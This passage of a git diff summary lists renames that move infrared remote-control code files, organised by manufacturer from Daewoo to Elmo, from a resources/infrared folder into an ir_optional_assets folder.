assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/VCR/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dell/TV/0,28.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dell/Video Projector/79,80.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/AV Processor/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/AV Processor/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/AV Processor/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Amplifier/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Amplifier/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Amplifier/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Amplifier/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Amplifier/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/CD Player/168,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/CD Player/175,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/CD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/CD Player/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/CD Player/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/DAT/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/DVD Player/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/DVD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/DVD Player/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/DVD Player/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Processor/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Processor/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Processor/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Processor/4,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Processor/4,3.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Processor/4,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/2,3.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/4,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/4,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/4,3.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/4,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/4,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/7,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/7,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/7,6.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/7,8.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/96,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Receiver/97,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Tuner/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Tuner/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Unknown/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/DSS/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/DVR/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Satellite/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,12.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,3.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,31.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,6.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,12.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,3.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,6.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/16,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/24,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dish Network/Satellite/8,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Draper/Screen/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Draper/Screen/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dream/Satellite/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dream/Satellite/10,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dream/Satellite/11,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dream/Satellite/25,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dream/Satellite/26,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dream/Satellite/41,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dwin/Plasma/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dwin/Projector/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dwin/TV/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dwin/Video Processor/7,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dwin/Video Projector/7,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/E Max/DVD Player/0,223.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/DSS/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/DVR/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/DVR/1,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Dish Network/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Satellite/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Satellite/1,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Satellite/16,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Satellite/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/DMX/100,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/DMX/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/DMX/96,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/DMX/99,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/HD/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/HD/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/HD/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/HD/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/HD/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/IR Router/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/IR Router/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Jukebox/96,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Master Controller/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Master Controller/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Master Controller/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Tuner/129,115.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Video Controller/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Volume Control/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Volume Control/1,241.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elan/Volume Control/255,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir (100%) 